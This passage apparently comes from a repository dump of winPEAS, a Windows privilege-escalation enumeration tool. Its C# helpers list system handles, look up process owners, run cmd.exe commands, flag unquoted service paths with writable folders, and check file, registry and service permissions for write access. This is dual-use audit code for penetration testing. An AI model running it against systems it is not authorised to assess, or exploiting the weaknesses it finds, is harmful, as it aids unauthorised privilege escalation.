Marshal.AllocHGlobal(infoLength);\n            }\n\n\n            if (is_64)\n            {\n                handleCount = Marshal.ReadInt64(_info);\n                _handle = new IntPtr(_info.ToInt64() + 16);\n            }\n            else\n            {\n                handleCount = Marshal.ReadInt32(_info);\n                _handle = new IntPtr(_info.ToInt32() + 8);\n            }\n\n            SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = new SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX();\n            List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handles = new List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>();\n\n            int infoSize = Marshal.SizeOf(handleInfo);\n            Type infoType = handleInfo.GetType();\n\n\n            for (long i = 0; i < handleCount; i++)\n            {\n                if (is_64)\n                {\n                    handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);\n                    _handle = new IntPtr(_handle.ToInt64() + infoSize);\n                }\n                else\n                {\n                    handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);\n                    _handle = new IntPtr(_handle.ToInt32() + infoSize);\n                }\n\n                handles.Add(handleInfo);\n            }\n\n            return handles;\n        }\n\n        // Get the owner of a process given the PID\n        public static Dictionary<string, string> GetProcU(Process p)\n        {\n            Dictionary<string, string> data = new Dictionary<string, string>\n            {\n                [\"name\"] = \"\",\n                [\"sid\"] = \"\"\n            };\n            IntPtr pHandle = IntPtr.Zero;\n            try\n            {\n                Native.Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);\n                WindowsIdentity WI = new WindowsIdentity(pHandle);\n                string uSEr = WI.Name;\n                string sid = WI.User.Value;\n                data[\"name\"] = uSEr.Contains(@\"\\\") ? uSEr.Substring(uSEr.IndexOf(@\"\\\") + 1) : uSEr;\n                data[\"sid\"] = sid;\n                return data;\n            }\n            catch\n            {\n                data[\"name\"] = elevatedProcess;\n                data[\"sid\"] = elevatedProcess;\n                return data;\n            }\n            finally\n            {\n                if (pHandle != IntPtr.Zero)\n                {\n                    Native.Kernel32.CloseHandle(pHandle);\n                }\n            }\n        }\n\n        // Get info of the process given the PID\n        public static PT_RELEVANT_INFO getProcInfoById(int pid)\n        {\n            PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();\n            Process proc;\n\n            try\n            {\n                proc = Process.GetProcessById(pid);\n            }\n            catch\n            {\n                pri.pid = pid;\n                pri.name = \"Error, process may not exist\";\n                pri.userName = \"Error, process may not exist\";\n                pri.userSid = \"Error, process may not exist\";\n                pri.imagePath = \"Error, process may not exist\";\n                return pri;\n            }\n            Dictionary<string, string> user = GetProcU(proc);\n            StringBuilder fileName = new StringBuilder(2000);\n\n            try\n            {\n                Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);\n            }\n            catch\n            {\n                fileName = new StringBuilder(elevatedProcess);\n            }\n\n            pri.pid = pid;\n            pri.name = proc.ProcessName;\n            pri.userName = user[\"name\"];\n            pri.userSid = user[\"sid\"];\n            pri.imagePath = fileName.ToString();\n\n            return pri;\n        }\n\n        // Get information of a handler of type process\n        public static PT_RELEVANT_INFO getProcessHandlerInfo(IntPtr handle)\n        {\n            PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();\n            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();\n            IntPtr[] pbi_arr = new IntPtr[6];\n            int pid;\n\n\n            int retLength = 0;\n\n            // Try to find the size\n            uint status = (uint)Native.Ntdll.NtQueryInformationProcess(handle, 0, pbi_arr, 48, ref retLength);\n            if (status == 0)\n            {\n\n                //pbi.ExitStatus = (int)pbi_arr[0];\n                //pbi.PebBaseAddress = pbi_arr[1];\n                //pbi.AffinityMask = pbi_arr[2];\n                //pbi.BasePriority = (int)pbi_arr[3];\n                pbi.UniqueProcessId = pbi_arr[4];\n                //pbi.InheritedFromUniqueProcessId = pbi_arr[5];\n                pid = (int)pbi.UniqueProcessId;\n            }\n            else\n            {\n                pid = (int)Native.Kernel32.GetProcessId(handle);\n            }\n\n            if (pid == 0)\n                return pri;\n\n            return getProcInfoById(pid);\n        }\n\n        // Get information of a handler of type thread\n        public static PT_RELEVANT_INFO getThreadHandlerInfo(IntPtr handle)\n        {\n            PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();\n            THREAD_BASIC_INFORMATION tbi = new THREAD_BASIC_INFORMATION();\n            IntPtr[] tbi_arr = new IntPtr[6];\n            int pid;\n\n\n            /* You could also get the PID using this method\n            int retLength = 0;\n            uint status = (uint)NtQueryInformationThread(handle, 0, tbi_arr, 48, ref retLength);\n            if (status != 0)\n            {\n                return pri;\n            }\n\n            pid = (int)GetProcessIdOfThread(handle);\n\n            CLIENT_ID ci = new CLIENT_ID();\n\n            tbi.ExitStatus = (uint)tbi_arr[0];\n            tbi.TebBaseAdress = tbi_arr[1];\n            tbi.ClientId = tbi_arr[2];\n            tbi.AffinityMask = (uint)tbi_arr[3];\n            tbi.Priority = (uint)tbi_arr[4];\n            tbi.BasePriority = (uint)tbi_arr[5];*/\n\n            pid = (int)Native.Kernel32.GetProcessIdOfThread(handle);\n            if (pid == 0)\n                return pri;\n\n            return getProcInfoById(pid);\n        }\n\n        // Get information of a handler of type key\n        public static KEY_RELEVANT_INFO getKeyHandlerInfo(IntPtr handle)\n        {\n            KEY_RELEVANT_INFO kri = new KEY_RELEVANT_INFO();\n            int retLength = 0;\n\n            // Get KeyNameInformation (3)\n            uint status = (uint)Native.Ntdll.NtQueryKey(handle, 3, null, 0, ref retLength);\n            var keyInformation = new byte[retLength];\n            status = (uint)Native.Ntdll.NtQueryKey(handle, 3, keyInformation, retLength, ref retLength);\n\n            string path = Encoding.Unicode.GetString(keyInformation, 4, keyInformation.Length - 4).ToLower();\n            string hive = \"\";\n\n            // https://groups.google.com/g/comp.os.ms-windows.programmer.win32/c/nCs-9zFRm6I\n            if (path.StartsWith(@\"\\registry\\machine\"))\n            {\n                path = path.Replace(@\"\\registry\\machine\", \"\");\n                hive = \"HKLM\";\n            }\n\n            else if (path.StartsWith(@\"\\registry\\user\"))\n            {\n                path = path.Replace(@\"\\registry\\user\", \"\");\n                hive = \"HKU\";\n            }\n\n            else\n            { // This shouldn't be needed\n                if (path.StartsWith(\"\\\\\"))\n                    path = path.Substring(1);\n                hive = Registry.RegistryHelper.CheckIfExists(path);\n            }\n\n            if (path.StartsWith(\"\\\\\"))\n                path = path.Substring(1);\n\n            kri.hive = hive;\n            kri.path = path;\n\n            return kri;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/MemoryHelper.cs",
    "content": "﻿using System.Diagnostics;\n\nnamespace winPEAS.Helpers\n{\n    internal static class MemoryHelper\n    {\n        public static void DisplayMemoryStats()\n        {\n            using (Process process = Process.GetCurrentProcess())\n            {\n                if (!process.HasExited)\n                {\n                    process.Refresh();\n\n                    string memoryStats = $\"{process.ProcessName} - Memory Stats\\n\" +\n                                         $\"-------------------------------------\\n\" +\n                                         $\"  Physical memory usage     : {MyUtils.ConvertBytesToHumanReadable(process.WorkingSet64)}\\n\" +\n                                         $\"  Paged system memory size  : {MyUtils.ConvertBytesToHumanReadable(process.PagedSystemMemorySize64)}\\n\" +\n                                         $\"  Paged memory size         : {MyUtils.ConvertBytesToHumanReadable(process.PagedMemorySize64)}\\n\";\n\n                    Beaprint.PrintDebugLine(memoryStats);\n                }\n            }\n        }\n\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Diagnostics.Eventing.Reader;\nusing System.IO;\nusing System.Linq;\nusing System.Net;\nusing System.Reflection;\nusing System.Security.Principal;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Helpers\n{\n    public class MyUtils\n    {\n        public static string GetCLSIDBinPath(string CLSID)\n        {\n            return RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Classes\\CLSID\\\" + CLSID + @\"\\InprocServer32\",\n                \"\"); //To get the default object you need to use an empty string\n        }\n\n        public static List<T> GetLimitedRange<T>(List<T> items, int limit)\n        {\n            return items.GetRange(0, Math.Min(items.Count, limit));\n        }\n\n        ////////////////////////////////////\n        /////// MISC - Files & Paths ///////\n        ////////////////////////////////////\n        public static bool CheckIfDotNet(string path, bool ignoreCompanyName = false)\n        {\n            bool isDotNet = false;\n            string companyName = string.Empty;\n\n            try\n            {\n                FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(path);\n                companyName = myFileVersionInfo.CompanyName;\n            }\n            catch\n            {\n                // Unable to read version information, continue with assembly inspection\n            }\n\n            bool shouldInspectAssembly = ignoreCompanyName ||\n                (string.IsNullOrEmpty(companyName)) ||\n                (!Regex.IsMatch(companyName, @\"^Microsoft.*\", RegexOptions.IgnoreCase));\n\n            if (!shouldInspectAssembly)\n            {\n                return false;\n            }\n\n            try\n            {\n                AssemblyName.GetAssemblyName(path);\n                isDotNet = true;\n            }\n            catch (System.IO.FileNotFoundException)\n            {\n                // System.Console.WriteLine(\"The file cannot be found.\");\n            }\n            catch (System.BadImageFormatException exception)\n            {\n                if (Regex.IsMatch(exception.Message,\n                    \".*This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.*\",\n                    RegexOptions.IgnoreCase))\n                {\n                    isDotNet = true;\n                }\n            }\n            catch\n            {\n                // System.Console.WriteLine(\"The assembly has already been loaded.\");\n            }\n\n            return isDotNet;\n        }\n\n        public static string GetExecutableFromPath(string path)\n        {\n            string binaryPath = \"\";\n            Match match_path = Regex.Match(path, @\"^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*\",\n                RegexOptions.RightToLeft | RegexOptions.IgnoreCase);\n            if (match_path.Groups.Count > 1)\n            {\n                binaryPath = match_path.Groups[1].ToString();\n            }\n\n            if (binaryPath.Contains('\"'))\n            {\n                binaryPath = binaryPath.Split('\"')[0];\n                binaryPath = binaryPath.Trim();\n            }\n\n            //Check if rundll32\n            string[] binaryPathdll32 = binaryPath.Split(new string[] { \"Rundll32.exe\" }, StringSplitOptions.None);\n\n            if (binaryPathdll32.Length > 1)\n            {\n                binaryPath = binaryPathdll32[1].Trim();\n            }\n\n            return binaryPath;\n        }\n\n        internal static bool IsBase64String(string text)\n        {\n            text = text.Trim();\n            return (text.Length % 4 == 0) && Regex.IsMatch(text, @\"^[a-zA-Z0-9\\+/]*={0,3}$\", RegexOptions.None);\n        }\n\n        public static string ReconstructExecPath(string path)\n        {\n            if (!path.Contains(\".exe\") && !path.Contains(\".dll\") && !path.Contains(\".sys\"))\n                return \"\";\n\n            string system32dir = Environment.SystemDirectory; // C:\\windows\\system32\n            string windowsdir = Directory.GetParent(system32dir).ToString();\n            string windrive = Path.GetPathRoot(system32dir); // C:\\\n\n            string binaryPath = GetExecutableFromPath(path);\n            if (binaryPath == \"\")\n            {\n                binaryPath = GetExecutableFromPath(system32dir + \"\\\\\" + path);\n                if (!File.Exists(binaryPath))\n                {\n                    binaryPath = GetExecutableFromPath(windowsdir + \"\\\\\" + path);\n                    if (!File.Exists(binaryPath))\n                    {\n                        binaryPath = GetExecutableFromPath(windrive + \"\\\\\" + path);\n                        if (!File.Exists(binaryPath))\n                        {\n                            binaryPath = \"\";\n                        }\n                    }\n                }\n            }\n\n            return binaryPath;\n        }\n\n        public static bool CheckQuoteAndSpaceWithPermissions(string path, out List<string> injectablePaths)\n        {\n            List<string> result = new List<string>();\n            bool isInjectable = false;\n\n            if (!path.Contains('\"') && !path.Contains(\"'\"))\n            {\n                if (path.Contains(\" \"))\n                {\n                    string currentPath = string.Empty;\n                    foreach (var pathPart in Regex.Split(path, @\"\\s\"))\n                    {\n                        currentPath += pathPart + \" \";\n\n                        if (File.Exists(currentPath) || Directory.Exists(currentPath))\n                        {\n                            var permissions = PermissionsHelper.GetPermissionsFolder(currentPath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                            if (permissions.Any())\n                            {\n                                result.Add(currentPath);\n                                isInjectable = true;\n                            }\n                        }\n                        else\n                        {\n                            var firstPathPart = currentPath;\n                            DirectoryInfo di = new DirectoryInfo(firstPathPart);\n                            var exploitablePath = di.Parent.FullName;\n                            var folderPermissions = PermissionsHelper.GetPermissionsFolder(exploitablePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                            if (folderPermissions.Any())\n                            {\n                                result.Add(exploitablePath);\n                                isInjectable = true;\n                            };\n                        }\n                    }\n                }\n            }\n\n            injectablePaths = result.Select(i => i).Distinct().ToList();\n            return isInjectable;\n        }\n\n        public static bool CheckQuoteAndSpace(string path)\n        {\n            if (!path.Contains('\"') && !path.Contains(\"'\"))\n            {\n                if (path.Contains(\" \"))\n                    return true;\n            }\n\n            return false;\n        }\n\n\n        //////////////////////\n        //////// MISC ////////\n        //////////////////////\n        public static List<string> ListFolder(String path)\n        {\n            try\n            {\n                string root = @Path.GetPathRoot(Environment.SystemDirectory) + path;\n                var dirs = from dir in Directory.EnumerateDirectories(root) select dir;\n                return dirs.ToList();\n            }\n            catch(Exception ex)\n            {\n                //Path can't be accessed\n                return new List<string>();\n            }\n        }\n\n        internal static byte[] CombineArrays(byte[] first, byte[] second)\n        {\n            return first.Concat(second).ToArray();\n        }\n\n        //From Seatbelt\n        public static bool IsHighIntegrity()\n        {\n            // returns true if the current process is running with adminstrative privs in a high integrity context\n            using (WindowsIdentity identity = WindowsIdentity.GetCurrent())\n            {\n                WindowsPrincipal principal = new WindowsPrincipal(identity);\n                return principal.IsInRole(WindowsBuiltInRole.Administrator);\n            }\n        }\n\n        //From https://stackoverflow.com/questions/3519539/how-to-check-if-a-string-contains-any-of-some-strings\n        public static bool ContainsAnyRegex(string haystack, List<string> regexps)\n        {\n            foreach (string regex in regexps)\n            {\n                if (Regex.Match(haystack, regex, RegexOptions.IgnoreCase).Success)\n                    return true;\n            }\n\n            return false;\n        }\n\n        internal static bool IsUrlReachable(string url)\n        {\n            try\n            {\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);\n                request.Timeout = 5000;\n                request.Method = \"HEAD\";\n\n                using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())\n                {\n                    return response.StatusCode == HttpStatusCode.OK && response.ContentLength > 0;\n                }\n            }\n            catch (Exception)\n            {\n                return false;\n            }\n        }\n\n\n        // From https://stackoverflow.com/questions/206323/how-to-execute-command-line-in-c-get-std-out-results\n        public static string ExecCMD(string args, string alternative_binary = \"\")\n        {\n            //Create process\n            Process pProcess = new Process();\n\n            //No new window\n            pProcess.StartInfo.CreateNoWindow = true;\n\n            //strCommand is path and file name of command to run\n            pProcess.StartInfo.FileName = (string.IsNullOrEmpty(alternative_binary)) ? \"cmd.exe\" : alternative_binary;\n\n            //strCommandParameters are parameters to pass to program\n            pProcess.StartInfo.Arguments = (string.IsNullOrEmpty(alternative_binary)) ? \"/C \" + args : args;\n\n            pProcess.StartInfo.UseShellExecute = false;\n\n            //Set output of program to be written to process output stream\n            pProcess.StartInfo.RedirectStandardOutput = true;\n\n            //Start the process\n            pProcess.Start();\n\n            //Get program output\n            string strOutput = pProcess.StandardOutput.ReadToEnd();\n\n            //Wait for process to finish\n            pProcess.WaitForExit();\n\n            return strOutput;\n        }\n\n        private static string[] suffixes = new[] { \" B\", \" KB\", \" MB\", \" GB\", \" TB\", \" PB\" };\n\n        public static string ConvertBytesToHumanReadable(double number, int precision = 2)\n        {\n            // unit's number of bytes\n            const double unit = 1024;\n            // suffix counter\n            int i = 0;\n            // as long as we're bigger than a unit, keep going\n            while (number > unit)\n            {\n                number /= unit;\n                i++;\n            }\n\n            // apply precision and current suffix\n            return Math.Round(number, precision) + suffixes[i];\n        }\n\n        public static bool IsUnicode(string input)\n        {\n            var asciiBytesCount = Encoding.ASCII.GetByteCount(input);\n            var unicodBytesCount = Encoding.UTF8.GetByteCount(input);\n            return asciiBytesCount != unicodBytesCount;\n        }\n\n        public static EventLogReader GetEventLogReader(string path, string query, string computerName = null)\n        {\n            // TODO: investigate https://docs.microsoft.com/en-us/previous-versions/windows/desktop/eventlogprov/win32-ntlogevent\n\n            var eventsQuery = new EventLogQuery(path, PathType.LogName, query) { ReverseDirection = true };\n\n            if (!string.IsNullOrEmpty(computerName))\n            {\n                //EventLogSession session = new EventLogSession(\n                //    ComputerName,\n                //    \"Domain\",                                  // Domain\n                //    \"Username\",                                // Username\n                //    pw,\n                //    SessionAuthentication.Default); // TODO password specification! https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.eventing.reader.eventlogsession.-ctor?view=dotnet-plat-ext-3.1#System_Diagnostics_Eventing_Reader_EventLogSession__ctor_System_String_System_String_System_String_System_Security_SecureString_System_Diagnostics_Eventing_Reader_SessionAuthentication_\n\n                var session = new EventLogSession(computerName);\n                eventsQuery.Session = session;\n            }\n\n            var logReader = new EventLogReader(eventsQuery);\n            return logReader;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/ObjectManagerHelper.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Threading;\n\nnamespace winPEAS.Helpers\n{\n    internal static class ObjectManagerHelper\n    {\n        public static bool TryCreateSessionEvent(out string objectName, out string error)\n        {\n            objectName = $\"PEAS_OMNS_{Process.GetCurrentProcess().Id}_{Guid.NewGuid():N}\";\n            error = string.Empty;\n\n            try\n            {\n                using (var handle = new EventWaitHandle(initialState: false, EventResetMode.ManualReset, objectName, out var createdNew))\n                {\n                    if (!createdNew)\n                    {\n                        error = \"A test event with the generated name already existed.\";\n                        return false;\n                    }\n                }\n\n                return true;\n            }\n            catch (Exception ex)\n            {\n                error = ex.Message;\n                return false;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/PermissionsHelper.cs",
    "content": "using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing System.Text.RegularExpressions;\n\nnamespace winPEAS.Helpers\n{\n    internal enum PermissionType\n    {\n        DEFAULT,\n        READABLE_OR_WRITABLE,\n        WRITEABLE_OR_EQUIVALENT,\n        WRITEABLE_OR_EQUIVALENT_REG,\n        WRITEABLE_OR_EQUIVALENT_SVC,\n    }\n\n\n    ///////////////////////////////////\n    //////// Check Permissions ////////\n    ///////////////////////////////////\n    /// Get interesting permissions from Files, Folders and Registry\n    internal static class PermissionsHelper\n    {\n        public static List<string> GetPermissionsFile(string path, Dictionary<string, string> SIDs, PermissionType permissionType = PermissionType.DEFAULT)\n        {\n            /*Permisos especiales para carpetas \n             *https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format?redirectedfrom=MSDN\n             *https://docs.microsoft.com/en-us/windows/win32/fileio/file-security-and-access-rights?redirectedfrom=MSDN\n             */\n\n            List<string> results = new List<string>();\n            path = path.Trim();\n            if (path == null || path == \"\")\n                return results;\n\n            Match reg_path = Regex.Match(path.ToString(), @\"\\W*([a-z]:\\\\[^.]+(\\.[a-zA-Z0-9_-]+)?)\\W*\", RegexOptions.IgnoreCase);\n            string binaryPath = reg_path.Groups[1].ToString();\n            path = binaryPath;\n            if (path == null || path == \"\")\n                return results;\n\n            try\n            {\n                FileSecurity fSecurity = File.GetAccessControl(path);\n                results = GetMyPermissionsF(fSecurity, SIDs, permissionType);\n            }\n            catch\n            {\n                //By some reason some times it cannot find a file or cannot get permissions (normally with some binaries inside system32)\n            }\n            return results;\n        }\n\n        public static List<string> GetPermissionsFolder(string path, Dictionary<string, string> SIDs, PermissionType permissionType = PermissionType.DEFAULT)\n        {\n            List<string> results = new List<string>();\n\n            try\n            {\n                path = path.Trim();\n                if (string.IsNullOrEmpty(path))\n                {\n                    return results;\n                }\n\n                path = GetFolderFromString(path);\n\n                if (string.IsNullOrEmpty(path))\n                {\n                    return results;\n                }\n\n                FileSecurity fSecurity = File.GetAccessControl(path);\n                results = GetMyPermissionsF(fSecurity, SIDs, permissionType);\n            }\n            catch\n            {\n                //Te exceptions here use to be \"Not access to a file\", nothing interesting\n            }\n            return results;\n        }\n\n        public static List<string> GetMyPermissionsF(FileSecurity fSecurity, Dictionary<string, string> SIDs, PermissionType permissionType = PermissionType.DEFAULT)\n        {\n            // Get interesting permissions in fSecurity (Only files and folders)\n            List<string> results = new List<string>();\n            var container = new Dictionary<string, Dictionary<string, string>>();\n\n            foreach (FileSystemAccessRule rule in fSecurity.GetAccessRules(true, true, typeof(SecurityIdentifier)))\n            {\n                //First, check if the rule to check is interesting\n                int current_perm = (int)rule.FileSystemRights;\n                string current_perm_str = PermInt2Str(current_perm, permissionType);\n\n                if (current_perm_str == \"\")\n                {\n                    continue;\n                }\n\n                foreach (KeyValuePair<string, string> mySID in SIDs)\n                {\n                    // If the rule is interesting, check if any of my SIDs is in the rule\n                    if (rule.IdentityReference.Value.ToLower() == mySID.Key.ToLower())\n                    {\n                        string SID_name = string.IsNullOrEmpty(mySID.Value) ? mySID.Key : mySID.Value;\n\n                        if (container.ContainsKey(SID_name))\n                        {\n                            if (container[SID_name].ContainsKey(rule.AccessControlType.ToString()))\n                            {\n                                if (!container[SID_name][rule.AccessControlType.ToString()].Contains(current_perm_str))\n                                {\n                                    container[SID_name][rule.AccessControlType.ToString()] += \" \" + current_perm_str;\n                                }\n                            }\n                            else\n                            {\n                                container[SID_name][rule.AccessControlType.ToString()] = current_perm_str;\n                            }\n                        }\n                        else\n                        {\n                            container[SID_name] = new Dictionary<string, string>();\n                            container[SID_name][rule.AccessControlType.ToString()] = current_perm_str;\n                        }\n                    }\n                }\n            }\n\n            foreach (var SID_input in container)\n            {\n                string perms = \"\";\n\n                if (SID_input.Value.ContainsKey(\"Allow\") && !string.IsNullOrEmpty(SID_input.Value[\"Allow\"]))\n                {\n                    perms += string.Format(\" [Allow: {0}]\", SID_input.Value[\"Allow\"]);\n                }\n                if (SID_input.Value.ContainsKey(\"Deny\") && !string.IsNullOrEmpty(SID_input.Value[\"Deny\"]))\n                {\n                    perms += string.Format(\" [Deny: {0}]\", SID_input.Value[\"Deny\"]);\n                }\n                string to_add = string.Format(\"{0}{1}\", SID_input.Key, perms);\n                results.Add(to_add);\n            }\n            return results;\n        }\n\n        public static List<string> GetMyPermissionsR(RegistryKey key, Dictionary<string, string> SIDs)\n        {\n            // Get interesting permissions in rSecurity (Only Registry)\n            List<string> results = new List<string>();\n            var container = new Dictionary<string, Dictionary<string, string>>();\n\n            try\n            {\n                var rSecurity = key.GetAccessControl();\n\n                //Go through the rules returned from the DirectorySecurity\n                foreach (RegistryAccessRule rule in rSecurity.GetAccessRules(true, true, typeof(SecurityIdentifier)))\n                {\n                    int current_perm = (int)rule.RegistryRights;\n                    string current_perm_str = PermInt2Str(current_perm, PermissionType.WRITEABLE_OR_EQUIVALENT_REG);\n                    if (current_perm_str == \"\")\n                        continue;\n\n                    foreach (KeyValuePair<string, string> mySID in SIDs)\n                    {\n                        // If the rule is interesting, check if any of my SIDs is in the rule\n                        if (rule.IdentityReference.Value.ToLower() == mySID.Key.ToLower())\n                        {\n                            string SID_name = string.IsNullOrEmpty(mySID.Value) ? mySID.Key : mySID.Value;\n\n                            if (container.ContainsKey(SID_name))\n                            {\n                                if (container[SID_name].ContainsKey(rule.AccessControlType.ToString()))\n                                {\n                                    if (!container[SID_name][rule.AccessControlType.ToString()].Contains(current_perm_str))\n                                    {\n                                        container[SID_name][rule.AccessControlType.ToString()] += \" \" + current_perm_str;\n                                    }\n                                }\n                                else\n                                {\n                                    container[SID_name][rule.AccessControlType.ToString()] = current_perm_str;\n                                }\n                            }\n                            else\n                            {\n                                container[SID_name] = new Dictionary<string, string>();\n                                container[SID_name][rule.AccessControlType.ToString()] = current_perm_str;\n                            }\n                        }\n                    }\n                }\n                foreach (var SID_input in container)\n                {\n                    string perms = \"\";\n\n                    if (SID_input.Value.ContainsKey(\"Allow\") && !string.IsNullOrEmpty(SID_input.Value[\"Allow\"]))\n                    {\n                        perms += string.Format(\" [Allow: {0}]\", SID_input.Value[\"Allow\"]);\n                    }\n                    if (SID_input.Value.ContainsKey(\"Deny\") && !string.IsNullOrEmpty(SID_input.Value[\"Deny\"]))\n                    {\n                        perms += string.Format(\" [Deny: {0}]\", SID_input.Value[\"Deny\"]);\n                    }\n                    string to_add = string.Format(\"{0}{1}\", SID_input.Key, perms);\n                    results.Add(to_add);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static string PermInt2Str(int current_perm, PermissionType permissionType = PermissionType.DEFAULT)\n        {\n            Dictionary<string, int> interesting_perms = new Dictionary<string, int>();\n\n            if (permissionType == PermissionType.DEFAULT)\n            {\n                interesting_perms = new Dictionary<string, int>()\n                {\n                    // This isn't an exhaustive list of possible permissions. Just the interesting ones.\n                    { \"AllAccess\", 0xf01ff},\n                    { \"GenericAll\", 0x10000000},\n                    { \"FullControl\", (int)FileSystemRights.FullControl },\n                    { \"TakeOwnership\", (int)FileSystemRights.TakeOwnership },\n\n                    { \"GenericWrite\", 0x40000000 },\n                    { \"WriteData/CreateFiles\", (int)FileSystemRights.WriteData },\n                    { \"Modify\", (int)FileSystemRights.Modify },\n                    { \"Write\", (int)FileSystemRights.Write },\n\n                    { \"ChangePermissions\", (int)FileSystemRights.ChangePermissions },\n\n                    { \"Delete\", (int)FileSystemRights.Delete },\n                    { \"DeleteSubdirectoriesAndFiles\", (int)FileSystemRights.DeleteSubdirectoriesAndFiles },\n                    { \"AppendData/CreateDirectories\", (int)FileSystemRights.AppendData },\n                    { \"WriteAttributes\", (int)FileSystemRights.WriteAttributes },\n                    { \"WriteExtendedAttributes\", (int)FileSystemRights.WriteExtendedAttributes },\n                };\n            }\n\n            else if (permissionType == PermissionType.READABLE_OR_WRITABLE)\n            {\n                interesting_perms = new Dictionary<string, int>()\n                {\n                    // This isn't an exhaustive list of possible permissions. Just the interesting ones.\n                    { \"AllAccess\", 0xf01ff},\n                    { \"GenericAll\", 0x10000000},\n                    { \"FullControl\", (int)FileSystemRights.FullControl },\n                    { \"TakeOwnership\", (int)FileSystemRights.TakeOwnership },\n\n                    { \"GenericWrite\", 0x40000000 },\n                    { \"WriteData/CreateFiles\", (int)FileSystemRights.WriteData },\n                    { \"Modify\", (int)FileSystemRights.Modify },\n                    { \"Write\", (int)FileSystemRights.Write },\n\n                    { \"Read\", (int)FileSystemRights.Read },\n                    { \"ReadData\", (int)FileSystemRights.ReadData },\n\n                    { \"ChangePermissions\", (int)FileSystemRights.ChangePermissions },\n\n                    { \"Delete\", (int)FileSystemRights.Delete },\n                    { \"DeleteSubdirectoriesAndFiles\", (int)FileSystemRights.DeleteSubdirectoriesAndFiles },\n                    { \"AppendData/CreateDirectories\", (int)FileSystemRights.AppendData },\n                    { \"WriteAttributes\", (int)FileSystemRights.WriteAttributes },\n                    { \"WriteExtendedAttributes\", (int)FileSystemRights.WriteExtendedAttributes },\n                };\n            }\n\n            else if (permissionType == PermissionType.WRITEABLE_OR_EQUIVALENT)\n            {\n                interesting_perms = new Dictionary<string, int>()\n                {\n                    { \"AllAccess\", 0xf01ff},\n                    { \"GenericAll\", 0x10000000},\n                    { \"FullControl\", (int)FileSystemRights.FullControl }, //0x1f01ff - 2032127\n                    { \"TakeOwnership\", (int)FileSystemRights.TakeOwnership }, //0x80000 - 524288\n                    { \"GenericWrite\", 0x40000000 },\n                    { \"WriteData/CreateFiles\", (int)FileSystemRights.WriteData }, //0x2\n                    { \"Modify\", (int)FileSystemRights.Modify }, //0x301bf - 197055\n                    { \"Write\", (int)FileSystemRights.Write }, //0x116 - 278\n                    { \"ChangePermissions\", (int)FileSystemRights.ChangePermissions }, //0x40000 - 262144\n                    { \"AppendData/CreateDirectories\", (int)FileSystemRights.AppendData }, //4\n                };\n            }\n\n            else if (permissionType == PermissionType.WRITEABLE_OR_EQUIVALENT_REG)\n            {\n                interesting_perms = new Dictionary<string, int>()\n                {\n                    { \"AllAccess\", 0xf01ff},\n                    { \"GenericAll\", 0x10000000},\n                    { \"FullControl\", (int)RegistryRights.FullControl }, //983103\n                    { \"TakeOwnership\", (int)RegistryRights.TakeOwnership }, //524288\n                    { \"GenericWrite\", 0x40000000 },\n                    { \"WriteKey\", (int)RegistryRights.WriteKey }, //131078\n                    { \"SetValue\", (int)RegistryRights.SetValue }, //2\n                    { \"ChangePermissions\", (int)RegistryRights.ChangePermissions }, //262144\n                    { \"CreateSubKey\", (int)RegistryRights.CreateSubKey }, //4\n                };\n            }\n\n            else if (permissionType == PermissionType.WRITEABLE_OR_EQUIVALENT_SVC)\n            {\n                // docs:\n                // https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights\n                // https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/grant-users-rights-manage-services\n\n                interesting_perms = new Dictionary<string, int>()\n                {\n                    { \"AllAccess\", 0xf01ff}, // full control\n                    //{\"QueryConfig\" , 1},  //Grants permission to query the service's configuration.\n                    {\"ChangeConfig\" , 2}, //Grants permission to change the service's permission.\n                    //{\"QueryStatus\" , 4},  //Grants permission to query the service's status.\n                    //{\"EnumerateDependents\" , 8}, //Grants permissionto enumerate the service's dependent services.\n                    //{\"PauseContinue\" , 64}, //Grants permission to pause/continue the service.\n                    //{\"Interrogate\" , 128},  //Grants permission to interrogate the service (i.e. ask it to report its status immediately).\n                    //{\"UserDefinedControl\" , 256}, //Grants permission to run the service's user-defined control.\n                    